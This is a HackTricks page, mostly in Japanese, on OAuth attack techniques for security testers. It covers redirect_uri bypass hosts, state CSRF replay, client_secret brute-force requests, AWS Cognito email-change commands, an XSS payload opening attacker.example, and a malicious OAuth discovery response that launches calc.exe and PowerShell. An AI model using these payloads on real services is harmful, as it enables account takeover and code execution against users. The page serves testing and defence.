OAuth to Account takeover
Tip
AWS Hackingを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。
HackTricksをサポート
- subscription plans を確認してください!
- 💬 Discord group、telegram group に参加し、X/Twitterで @hacktricks_live をフォローするか、LinkedIn page と YouTube channel を確認してください。
- HackTricks と HackTricks Cloud の github repos に PR を送信して hacking tricks を共有してください。
基本情報
OAuth はいくつかのバージョンがあり、基礎的な情報は OAuth 2.0 documentation で確認できます。本章では主に広く使われている OAuth 2.0 authorization code grant type に焦点を当て、あるアプリケーションが別のアプリケーション(authorization server)上のユーザーのアカウントにアクセスしたり操作を行うための認可フレームワークを説明します。
例として、あなたの全てのソーシャルメディア投稿(非公開のものも含む)を表示することを目的とした仮想サイト https://example.com を考えます。これを実現するために OAuth 2.0 が使われます。https://example.com はあなたに対して ソーシャルメディアの投稿へのアクセス許可 を求めます。その結果、https://socialmedia.com 上で同意画面が表示され、要求されている権限とその要求を行う開発者が示されます。あなたが許可すると、https://example.com は あなたに代わって投稿にアクセスする権限 を得ます。
OAuth 2.0 フレームワーク内で把握すべき主要な構成要素は次のとおりです:
- resource owner: あなた、つまり リソース(例:ソーシャルメディアアカウントの投稿)へのアクセスを許可するユーザー/エンティティ。
- resource server:
access tokenを取得した後に認証済みリクエストを処理する サーバー(例: https://socialmedia.com)。 - client application:
resource ownerからの認可を求める アプリケーション(例: https://example.com)。 - authorization server:
resource ownerの認証と認可が行われた後にaccess tokensを発行する サーバー(例: https://socialmedia.com)。 - client_id: アプリケーションの公開される一意の識別子。
- client_secret: アプリケーションと authorization server の間だけで知られる機密キーで、
access_tokensを生成する際に使用される。 - response_type:
codeのように 要求するトークンの種類を指定する値。 - scope:
client applicationがresource ownerに対して要求する アクセスの範囲/レベル。 - redirect_uri: 認可後にユーザーがリダイレクトされる URL。通常、事前に登録されたリダイレクト URL と一致する必要がある。
- state: 認可サーバーへのリダイレクトの前後で データを保持するためのパラメータ。一意性が重要で、CSRF 保護メカニズムとして機能する。
- grant_type: グラントタイプおよび返されるトークンの種類を示すパラメータ。
- code:
authorization serverからの認可コードで、client application がclient_idとclient_secretと合わせてaccess_tokenを取得するために使う。 - access_token:
client applicationがresource ownerに代わって API リクエストを行うために使用する トークン。 - refresh_token: ユーザーに再度プロンプトを出すことなく、新しい
access_tokenを取得できるようにするもの。
フロー
実際の OAuth フローは次のように進行します:
- あなたは https://example.com にアクセスし、「Integrate with Social Media」ボタンを押します。
- サイトは https://socialmedia.com に対して、https://example.com のアプリケーションがあなたの投稿にアクセスする許可を求めるリクエストを送ります。リクエストは次のような形式です:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
- 次に同意画面が表示されます。
- 承認後、ソーシャルメディアは
redirect_uriにcodeとstateパラメータを含むレスポンスを送信します:
https://example.com?code=uniqueCode123&state=randomString123
- https://example.com はこの
codeを、そのclient_idとclient_secretとともに使用して、あなたに代わってサーバー側でaccess_tokenを取得するリクエストを行い、あなたが同意した権限へのアクセスを可能にします:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
- 最後に、プロセスは https://example.com があなたの
access_tokenを使ってソーシャルメディアへ API コールを行い、アクセスすることで完了します
脆弱性
Open redirect_uri
Per RFC 6749 §3.1.2、認可サーバーはブラウザを事前登録された正確な redirect URIs のみにリダイレクトする必要があります。ここに弱点があると、攻撃者は被害者を悪意のある authorization URL に誘導し、IdP が被害者の code(および state)を攻撃者のエンドポイントに直接送信し、攻撃者がそれを交換してトークンを収集できます。
典型的な攻撃ワークフロー:
https://idp.example/auth?...&redirect_uri=https://attacker.tld/callbackを作成して被害者に送る。- 被害者が認証してスコープを承認する。
- IdP が
attacker.tld/callback?code=<victim-code>&state=...にリダイレクトし、攻撃者はリクエストをログに取り、直ちに code を交換する。
テストすべき一般的な検証バグ:
- 検証なし – 任意の絶対 URL が受け入れられ、即座に
codeの窃取が発生します。 - ホストに対する弱い部分文字列/正規表現チェック –
evilmatch.com,match.com.evil.com,match.com.mx,matchAmatch.com,evil.com#match.com,match.com@evil.comのような類似ドメインでバイパスできます。 - IDN homograph の不一致 – 検証は punycode 形式(
xn--)で行われるが、ブラウザは攻撃者が管理する Unicode ドメインにリダイレクトします。 - 許可されたホスト上の任意のパス –
redirect_uriを/openredirect?next=https://attacker.tldに向ける、または任意の XSS/ユーザーコンテンツエンドポイントを指定すると、連鎖リダイレクト、Referer ヘッダ、あるいはインジェクトされた JavaScript を通じて code が漏えいします。 - 正規化を伴わないディレクトリ制約 –
/oauth/*のようなパターンは/oauth/../anythingでバイパスされ得ます。 - ワイルドカードサブドメイン –
*.example.comを受け入れると、dangling DNS、S3 バケットなどの任意の takeover が即座に有効なコールバックを与えます。 - 非 HTTPS コールバック –
http://URI を通すと、ネットワーク上の攻撃者(Wi‑Fi、企業プロキシなど)が転送中に code を奪取する機会を得ます。
client_uri、policy_uri、tos_uri、initiate_login_uri などの補助的な redirect 系パラメータや、OpenID の discovery ドキュメント(/.well-known/openid-configuration)も確認し、同様の検証バグを引き継ぐ可能性のある追加エンドポイントを探してください。
攻撃者が制御するサブパスを持つ許可済みドメインでの Redirect token leakage
redirect_uri を「所有する/ファーストパーティのドメイン」に固定していても、許可済みドメインのいずれかが攻撃者制御のパスや実行コンテキスト(レガシーアプリプラットフォーム、ユーザーネームスペース、CMS のアップロード等)を公開している場合は意味がありません。OAuth/フェデレーテッドログインフローが URL(クエリまたはハッシュ)でトークンを返す場合、攻撃者は次のことを行えます:
- 正規のフローを開始して事前トークン(例: Accounts Center/FXAuth フローの multi-step での
etoken)を発行させる。 - 許可済みドメインを
redirect_uri/base_uriに設定しつつ、next/path を攻撃者制御の名前空間(例:https://apps.facebook.com/<attacker_app>)に向ける認可 URL を被害者に送る。 - 被害者が承認すると、IdP は敏感な値(
token、blob、code など)を含む URL で攻撃者制御のパスにリダイレクトする。 - そのページ上の JavaScript が
window.locationを読み取り、ドメインが「信頼済み」であっても値を持ち出す。 - キャプチャした値を下流の特権エンドポイントに対してリプレイする(これらのエンドポイントはリダイレクトで運ばれるトークンのみを期待している)。
FXAuth フローからの例:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>
# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>
XSS in redirect implementation
この bug bounty report https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html に記載されているように、ユーザーが認証した後、redirect URL が server の response に反映される 可能性があり、XSS に脆弱 です。テストする可能性のある payload:
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
OAuth コールバックのエラーページ: reflected error_description、trusted-origin phishing、および encoded state leakage
Some OAuth integrations use a first-party callback page to render login failures after the IdP redirects the browser back. These pages are high value because they already run on a trusted origin and often consume attacker-controlled parameters such as error, error_description, message, description, or state.
- Reflecting
error_descriptioninto HTML を厳密な出力エンコーディングなしで行うと、コールバックは trusted-origin phishing page に変わります。<script>がフィルタされる場合でも、HTML インジェクションは失敗ページ全体を偽装し、被害者に攻撃者の意図した操作を行わせることができます。 - WAFs often key on common handlers(例:
onload/onerror)。通常のペイロードがブロックされた場合、防御側がブラックリストに入れていない browser-specific or uncommon events を試してみてください。実用的な例として、Safari のonpagerevealは、悪意あるコールバックページが Safari で表示されたときに実行されることがあります:
<body onpagereveal=open("https://attacker.example")>
This step can only be completed in Safari
- Test self-referential payloads: 注入された HTML/JS が同じ callback URL を再オープンまたは再読み込みできる場合、クライアント側のリソース枯渇、繰り返されるポップアップ/タブ、またはレンダリングごとの log flooding を引き起こす可能性があります。
- Always decode opaque-looking
statevalues. 多くの実装は JSON やユーザーメタデータを Base64 エンコードして「隠れている」と仮定しますが、Base64 は可逆なので callback URL に PII(メールアドレス、テナント識別子、リターンパス、内部ワークフロー状態など)が漏れる可能性があります。 - Treat URL exposure as part of the bug: callback URL に置かれたものは、後にブラウザ履歴、リバースプロキシ、ロードバランサ、アプリログ、モニタリングツール、スクリーンショット、ページがサードパーティ資源を読み込む場合の
Refererヘッダなどに現れ得ます。
テスト時の簡易チェック:
- 成功および失敗の OAuth コールバックをトリガーし、完全な URL とレンダリングされた HTML をキャプチャする。
- コールバックをリプレイしつつ、
error_description、message、類似のエラーフィールドをプレーンテキスト、HTML、イベントハンドラペイロードで改変する。 stateを Base64/URL-safe Base64 としてデコードし、PII やサーバー側に留めるべきアプリケーション状態が含まれていないか確認する。- WAF が標準の inline-event XSS プローブをブロックする場合、Safari/WebKit 固有のペイロードを繰り返す。
CSRF - state パラメータの不適切な処理
state パラメータは Authorization Code フローの CSRF トークンです:クライアントはブラウザごとに「暗号学的にランダムな値」を生成し、そのブラウザだけが読める場所(cookie、local storage など)に保持し、認可リクエストで送信し、返ってきたレスポンスが同じ値でない場合は拒否しなければなりません。値が静的、予測可能、任意、またはユーザセッションに結びついていない場合、攻撃者は自分の OAuth フローを完了し、最終的な ?code= リクエストを取得(送信せずに保持)しておき、後で被害者のブラウザにそのリクエストをリプレイさせることで被害者アカウントを攻撃者の IdP プロファイルにリンクさせることができます。
リプレイのパターンは常に同じです:
- 攻撃者は自分のアカウントで IdP に認証し、
code(および任意のstateを含む)を含む最後のリダイレクトを傍受する。 - そのリクエストを破棄し、URL を保持しておき、後で任意の CSRF 原始(リンク、iframe、自動送信フォームなど)を使って被害者ブラウザにロードさせる。
- クライアントが
stateを強制しない場合、アプリケーションは攻撃者の認可結果を消費し、攻撃者を被害者アカウントにログインさせてしまう。
テスト時の state 処理に関する実践チェックリスト:
- Missing
stateentirely – パラメータがまったく現れない場合、ログインは CSRF に弱い。 statenot required – 初期リクエストからstateを外す。IdP がそれでもコードを発行しクライアントが受け入れるなら、防御はオプトインになっている。- Returned
statenot validated – レスポンスの値を改竄する(Burp、MITM proxy)。不一致の値を受け入れるなら、保存されたトークンが比較されていない。 - Predictable or purely data-driven
state– 多くのアプリはリダイレクトパスや JSON ブロブをstateに詰め込み、ランダム性を混ぜないため、攻撃者が有効な値を推測してフローをリプレイできる。データをエンコードする前に必ず強いエントロピーを前後に付与すること。 statefixation – アプリがユーザにstate値を供給させ(例: 細工した認可 URL 経由)それをフロー全体で再利用する場合、攻撃者は既知の値を固定して複数の被害者に再利用できる。
PKCE は(特に public clients において)state を補完し得ます。authorization code を code verifier に紐づけますが、web クライアントはそれでも cross-user CSRF/アカウントリンクのバグを防ぐために state を追跡する必要があります。
Pre Account Takeover
- Without Email Verification on Account Creation: 攻撃者は被害者のメールを使って事前にアカウントを作成できる。後に被害者がサードパーティサービスでログインすると、アプリが誤ってそのサードパーティアカウントを攻撃者の事前作成アカウントにリンクし、不正アクセスが発生する可能性がある。
- Exploiting Lax OAuth Email Verification: メールを検証しない OAuth サービスを利用し、攻撃者が自分のサービス上で登録後にアカウントのメールを被害者のものに変更することで同様に不正アクセスを引き起こすリスクがある。これは最初のシナリオと似た別経路の攻撃です。
Disclosure of Secrets
client_id は意図的に公開されますが、client_secret はエンドユーザに回復可能であってはなりません。Authorization Code デプロイで secret をモバイル APK、デスクトップクライアント、single-page apps に埋め込むと、そのクレデンシャルはパッケージをダウンロードできる誰にでも渡ってしまいます。public clients を調査する際は常に次を確認してください:
- APK/IPA、デスクトップインストーラ、または Electron アプリを展開し、
client_secret、JSON にデコードされる Base64 ブロブ、またはハードコーディングされた OAuth エンドポイントを grep する。 - バンドルされた設定ファイル(plist、JSON、XML)やデコンパイルされた文字列をレビューしてクライアントクレデンシャルを探す。
攻撃者が secret を抽出した後は、被害者の認可 code(弱い redirect_uri、ログなど経由で)を盗めば、正規アプリを介さずに /token を叩いて access/refresh トークンを独自に発行できる。public/native クライアントは 秘密を保持できないものと見なす — 代わりに PKCE (RFC 7636) に依存して、静的な secret の代わりにインスタンスごとの code verifier の所有を証明すべきです。テスト時には PKCE が必須かどうか、およびバックエンドが client_secret または 有効な code_verifier を欠く token 交換を実際に拒否するかを確認してください。
Client Secret Bruteforce
You can try to bruteforce the client_secret of a service provider with the identity provider in order to be try to steal accounts.
The request to BF may look similar to:
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
Referer/Header/Location のアーティファクトが Code + State を leak する
クライアントが code and state を取得し、それらが location.href や document.referrer に現れ第三者に転送されると、それらは leak します。よくあるパターンは二つあります:
- Classic Referer leak: OAuth リダイレクト後、URL に
?code=&state=が残るようなナビゲーションは、それらを CDN/analytics/ads に送信される Referer ヘッダに押し込みます。 - Telemetry/analytics confused deputy: 一部の SDKs(pixels/JS loggers)は
postMessageイベントに反応し、メッセージで渡されたトークンを使って現在のlocation.href/referrerを backend APIs に送信することがあります。もしこのフローに自分のトークンを注入できれば(例: 攻撃者が制御する postMessage リレー経由)、後でその SDK の API リクエスト履歴/ログを読み取り、リクエストに埋め込まれた被害者の OAuth artifacts を回収できます。
Access Token Stored in Browser History
Authorization Code grant の基本的な保証は、access tokens がリソース所有者のブラウザに到達しないことです。実装がクライアント側で tokens を leak すると、どんな小さなバグ(XSS、Referer leak、proxy logging)でも即座にアカウント乗っ取りに繋がります。常に次を確認してください:
- Tokens in URLs –
access_tokenがクエリ/フラグメントに現れると、ブラウザ履歴、サーバログ、analytics、および第三者に送信される Referer ヘッダに残ります。 - Tokens transiting untrusted middleboxes – HTTP 経由やデバッグ/企業プロキシを通して tokens を返すと、ネットワーク上の監視者がそれらを直接傍受できます。
- Tokens stored in JavaScript state – React/Vue の store、グローバル変数、またはシリアライズされた JSON ブロブは、オリジン上のすべてのスクリプト(XSS ペイロードや悪意ある拡張機能を含む)から tokens を露出させます。
- Tokens persisted in Web Storage –
localStorage/sessionStorageは共有デバイス上でログアウト後も長期間 tokens を保持し、スクリプトからアクセス可能です。
これらのいずれかの発見は、通常「低」なバグ(CSP bypass や DOM XSS など)を完全な API takeover に昇格させます。攻撃者は漏えいした bearer トークンを読み取り再利用するだけで済むためです。
Everlasting Authorization Code
Authorization codes は short-lived, single-use, and replay-aware である必要があります。フローを評価する際は code を取得して、以下を試してください:
- Test the lifetime – RFC 6749 は数分を推奨しており、数時間ではありません。5–10 分後に code を redeem してみて、まだ有効なら漏洩 code の露出ウィンドウが長すぎます。
- Test sequential reuse – 同じ
codeを二回送信してみてください。二回目のリクエストで再びトークンが発行されるなら、攻撃者はセッションを無限に複製できます。 - Test concurrent redemption/race conditions – 並列に二つの token リクエストを発火させます(Burp intruder、turbo intruder 等)。弱い発行者は両方を許可することがあります。
- Observe replay handling – 再利用の試みは単に失敗するだけでなく、その code から既に発行されたトークンを取り消すべきです。そうでないと、リプレイが検出されても攻撃者の最初のトークンが有効なまま残ります。
リプレイに寛容な code を任意の redirect_uri やログ記録のバグと組み合わせると、被害者が正規ログインを完了した後でも永続的なアカウントアクセスが可能になります。
Authorization/Refresh Token not bound to client
もし authorization code を取得して別の client/app 用に redeem できるなら、他人のアカウントを takeover できます。弱いバインディングをテストする方法:
- app A 用の
codeをキャプチャして app B の token endpoint に送る。もしそれでもトークンが返るなら、audience binding が破られています。 - 自クライアント ID に限定されるはずの first-party token minting endpoints を試す。もし code の検証のみで任意の
state/app_idを受け入れるなら、実質的に authorization-code swap を行ってより高権限の first-party トークンを発行できます。 - client binding が nonce/redirect URI の不一致を無視するかを確認します。エラーページが
location.hrefをログする SDK を読み込む場合は、Referer/telemetry の leak と組み合わせて code を盗み他所で redeem することが可能です。
code → token を交換するすべてのエンドポイントは、発行した client、redirect URI、nonce を検証しなければなりません。そうでないと、どのアプリから盗まれた code でも first-party access token に昇格されてしまいます。
Happy Paths、XSS、Iframes & Post Messages による code & state 値の leak
AWS Cognito
このバグバウンティレポート: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ では、AWS Cognito がユーザーに返す token がユーザーデータを上書きするのに十分な権限を持っている可能性が示されています。したがって、もし別のユーザーのメールアドレスに対して change the user email できるなら、他人のアカウントを take over できるかもしれません。
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}
For more detailed info about how to abuse AWS Cognito check AWS Cognito - Unauthenticated Enum Access.
Abusing other Apps tokens
As mentioned in this writeup, OAuth flows that expect to receive the token (and not a code) could be vulnerable if they not check that the token belongs to the app.
これは、攻撃者が自分のアプリ内にOAuthをサポートしFacebookでログインできるアプリケーション(例えば)を作成できるためです。被害者が攻撃者のアプリケーションでFacebookにログインすると、攻撃者は自分のアプリに渡されたユーザーのOAuth tokenを取得し、それを使って被害者のOAuthアプリに被害者のユーザーtokenでログインできる可能性があります。
Caution
したがって、攻撃者がユーザーを自分のOAuthアプリにアクセスさせることに成功すると、tokenを期待し、そのtokenが自分のapp IDに付与されたものかを確認していないアプリケーションにおいて、被害者のアカウントを乗っ取ることができます。
Two links & cookie
According to this writeup, it was possible to make a victim open a page with a returnUrl pointing to the attackers host. This info would be stored in a cookie (RU) and in a later step the prompt will ask the user if he wants to give access to that attackers host.
このプロンプトを回避するために、returnUrlを使ってこのRU cookieを設定するためのOauth flowを開始するタブを開き、プロンプトが表示される前にそのタブを閉じて、その値のない新しいタブを開く、という手順が可能でした。こうすると、prompt won’t inform about the attackers host が発生しますが、cookieは攻撃者のホストに設定されるため、リダイレクト時にtoken will be sent to the attackers host ことになります。
Prompt Interaction Bypass
As explained in this video, some OAuth implementations allows to indicate the prompt GET parameter as None (&prompt=none) to prevent users being asked to confirm the given access in a prompt in the web if they are already logged in the platform.
response_mode
As explained in this video, it might be possible to indicate the parameter response_mode to indicate where do you want the code to be provided in the final URL:
response_mode=query-> コードがGETパラメータ内で提供されます:?code=2397rf3gu93fresponse_mode=fragment-> コードがURLのフラグメントパラメータ内で提供されます:#code=2397rf3gu93fresponse_mode=form_post-> コードが name=“code” の入力を持つPOSTフォーム内で提供されますresponse_mode=web_message-> コードがpost messageで送られます:window.opener.postMessage({"code": "asdasdasd...
Clickjacking OAuth consent dialogs
OAuth consent/login dialogs are ideal clickjacking targets: if they can be framed, an attacker can overlay custom graphics, hide the real buttons, and trick users into approving dangerous scopes or linking accounts. Build PoCs that:
- Load the IdP authorization URL inside an
<iframe sandbox="allow-forms allow-scripts allow-same-origin">. - Use absolute positioning/opacity tricks to align fake buttons with the hidden Allow/Approve controls.
- Optionally pre-fill parameters (scopes, redirect URI) so the stolen approval immediately benefits the attacker.
During testing verify that IdP pages emit either X-Frame-Options: DENY/SAMEORIGIN or a restrictive Content-Security-Policy: frame-ancestors 'none'. If neither is present, demonstrate the risk with tooling like NCC Group’s clickjacking PoC generator and record how easily a victim authorizes the attacker’s app. For additional payload ideas see Clickjacking.
OAuth ROPC flow - 2 FA bypass
According to this blog post, this is an OAuth flow that allows to login in OAuth via username and password. If during this simple flow a token with access to all the actions the user can perform is returned then it’s possible to bypass 2FA using that token.
ATO on web page redirecting based on open redirect to referrer
This blogpost comments how it was possible to abuse an open redirect to the value from the referrer to abuse OAuth to ATO. The attack was:
- Victim access the attackers web page
- The victim opens the malicious link and an opener starts the Google OAuth flow with
response_type=id_token,code&prompt=noneas additional parameters using as referrer the attackers website. - In the opener, after the provider authorizes the victim, it sends them back to the value of the
redirect_uriparameter (victim web) with 30X code which still keeps the attackers website in the referer. - The victim website trigger the open redirect based on the referrer redirecting the victim user to the attackers website, as the
respose_typewasid_token,code, the code will be sent back to the attacker in the fragment of the URL allowing him to tacke over the account of the user via Google in the victims site.
SSRFs parameters
Check this research For further details of this technique.
Dynamic Client Registration in OAuth serves as a less obvious but critical vector for security vulnerabilities, specifically for Server-Side Request Forgery (SSRF) attacks. This endpoint allows OAuth servers to receive details about client applications, including sensitive URLs that could be exploited.
Key Points:
- Dynamic Client Registration is often mapped to
/registerand accepts details likeclient_name,client_secret,redirect_uris, and URLs for logos or JSON Web Key Sets (JWKs) via POST requests. - This feature adheres to specifications laid out in RFC7591 and OpenID Connect Registration 1.0, which include parameters potentially vulnerable to SSRF.
- The registration process can inadvertently expose servers to SSRF in several ways:
logo_uri: A URL for the client application’s logo that might be fetched by the server, triggering SSRF or leading to XSS if the URL is mishandled.jwks_uri: A URL to the client’s JWK document, which if maliciously crafted, can cause the server to make outbound requests to an attacker-controlled server.sector_identifier_uri: References a JSON array ofredirect_uris, which the server might fetch, creating an SSRF opportunity.request_uris: Lists allowed request URIs for the client, which can be exploited if the server fetches these URIs at the start of the authorization process.
Exploitation Strategy:
- SSRF can be triggered by registering a new client with malicious URLs in parameters like
logo_uri,jwks_uri, orsector_identifier_uri. - While direct exploitation via
request_urismay be mitigated by whitelist controls, supplying a pre-registered, attacker-controlledrequest_urican facilitate SSRF during the authorization phase.
OAuth/OIDC Discovery URL Abuse & OS Command Execution
Research on CVE-2025-6514 (impacting mcp-remote clients such as Claude Desktop, Cursor or Windsurf) shows how dynamic OAuth discovery becomes an RCE primitive whenever the client forwards IdP metadata straight to the operating system. The remote MCP server returns an attacker-controlled authorization_endpoint during the discovery exchange (/.well-known/openid-configuration or any metadata RPC). mcp-remote ≤0.1.15 would then call the system URL handler (start, open, xdg-open, etc.) with whatever string arrived, so any scheme/path supported by the OS executed locally.
Attack workflow
- Point the desktop agent to a hostile MCP/OAuth server (
npx mcp-remote https://evil). The agent receives401plus metadata. - The server answers with JSON such as:
HTTP/1.1 200 OK
Content-Type: application/json
{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
- クライアントは指定された URI のために OS ハンドラを起動します。Windows は
file:/c:/windows/system32/calc.exe /c"powershell -enc ..."のようなペイロードを受け入れ、macOS/Linux はfile:///Applications/Calculator.app/...のようなものや、登録されていればcmd://bash -lc '<payload>'のようなカスタムスキームも受け入れます。 - これはユーザー操作の前に発生するため、単にクライアントを攻撃者サーバーと通信するように設定するだけでコード実行が発生します。
テスト方法
- HTTP(S) で discovery を実行し、返されたエンドポイントをローカルで開くような OAuth 対応のデスクトップ/エージェント(Electron apps、CLI helpers、thick clients)を対象にします。
- discovery レスポンスを傍受するかホストし、
authorization_endpoint、device_authorization_endpoint、または類似のフィールドをfile://、cmd://、UNC パス、その他の危険なスキームに置き換えます。 - クライアントがスキーム/ホストを検証するか確認します。検証がない場合、ユーザーコンテキストで即時に実行され、問題が立証されます。
- 異なるスキームで繰り返し、全攻撃面をマッピングします(例:
ms-excel:,data:text/html,, custom protocol handlers)およびクロスプラットフォームでの到達範囲を示します。
OAuth providers Race Conditions
テスト対象のプラットフォームが OAuth プロバイダーである場合、可能な Race Conditions をテストするにはこちらを参照してください。
Mutable Claims Attack
OAuth では sub フィールドがユーザーを一意に識別しますが、そのフォーマットは Authorization Server によって異なります。ユーザー識別を標準化するために、一部のクライアントはメールやユーザーハンドルを使用します。しかし、これは以下の理由で危険です:
- 一部の Authorization Server はこれらのプロパティ(例えば email)が不変であることを保証していません。
- 特定の実装では—例えば “Login with Microsoft”—クライアントが email フィールドに依存しており、これは Entra ID 内でユーザーが制御可能 で検証されていません。
- 攻撃者は独自の Azure AD 組織(例: doyensectestorg)を作成し、それを使って Microsoft ログインを行うことでこれを悪用できます。
- Object ID(sub に保存)は不変で安全であっても、可変の email フィールドに依存することでアカウント乗っ取りが可能になります(例: victim@gmail.com のようなアカウントのハイジャック)。
Client Confusion Attack
Client Confusion Attack では、OAuth Implicit Flow を使用するアプリケーションが最終的なアクセストークンが自分の Client ID 用に生成されたものであることを検証しません。攻撃者は Google の OAuth Implicit Flow を使う公開サイトを立て、何千人ものユーザーを騙してログインさせ、攻撃者サイト向けに発行されたアクセストークンを収集します。これらのユーザーが別の脆弱なウェブサイトにもアカウントを持っていて、そのサイトがトークンの Client ID を検証しない場合、攻撃者は収集したトークンを再利用して被害者になりすまし、アカウントを乗っ取ることができます。
Scope Upgrade Attack
Authorization Code Grant タイプは、ユーザーデータを送信するためのサーバー間の安全な通信を伴います。しかし、Authorization Server が Access Token Request 内の scope パラメータ(RFC に定義されていないパラメータ)を暗黙に信頼する場合、悪意あるアプリケーションはより高い scope を要求することで認可コードの権限を昇格させる可能性があります。Access Token が生成された後、Resource Server はそれを検証する必要があります。JWT トークンの場合は JWT 署名の検証と client_id や scope といったデータの抽出を行います。一方、ランダム文字列トークンの場合は、サーバーは Authorization Server に問い合わせてトークンの詳細を取得する必要があります。
Redirect Scheme Hijacking
モバイルの OAuth 実装では、アプリは認可コードを含むリダイレクトを受け取るために custom URI schemes を使用します。しかし、デバイス上で複数のアプリが同じスキームを登録できるため、正当なクライアントだけがリダイレクト URI を制御するという前提は崩れます。例えば Android では、com.example.app:// のような Intent URI はスキームおよびアプリの intent-filter で定義された任意のフィルタに基づいて捕捉されます。Android の intent 解決は幅広く(特にスキームのみが指定されている場合)、攻撃者は精巧に作成した intent filter を持つ悪意あるアプリを登録して認可コードを乗っ取ることができます。これは、複数のアプリが intent を扱う資格を持つ場合のユーザー操作を介して、または過度に具体的なフィルタを悪用するバイパス技術を通じて、アカウント乗っ取りを可能にすることがあります(詳細は Ostorlab の評価フローチャート参照)。
References
- Leaking FXAuth token via allowlisted Meta domains
- https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1
- https://portswigger.net/research/hidden-oauth-attack-vectors
- https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html
- An Offensive Guide to the OAuth 2.0 Authorization Code Grant
- OAuth Discovery as an RCE Vector (Amla Labs)
- Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO
- Rapid7: CVE-2026-31381, CVE-2026-31382: Gainsight Assist Information Disclosure and Cross-Site Scripting (FIXED)
- MDN: Window
pagerevealevent
Tip
AWS Hackingを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。
HackTricksをサポート
- subscription plans を確認してください!
- 💬 Discord group、telegram group に参加し、X/Twitterで @hacktricks_live をフォローするか、LinkedIn page と YouTube channel を確認してください。
- HackTricks と HackTricks Cloud の github repos に PR を送信して hacking tricks を共有してください。


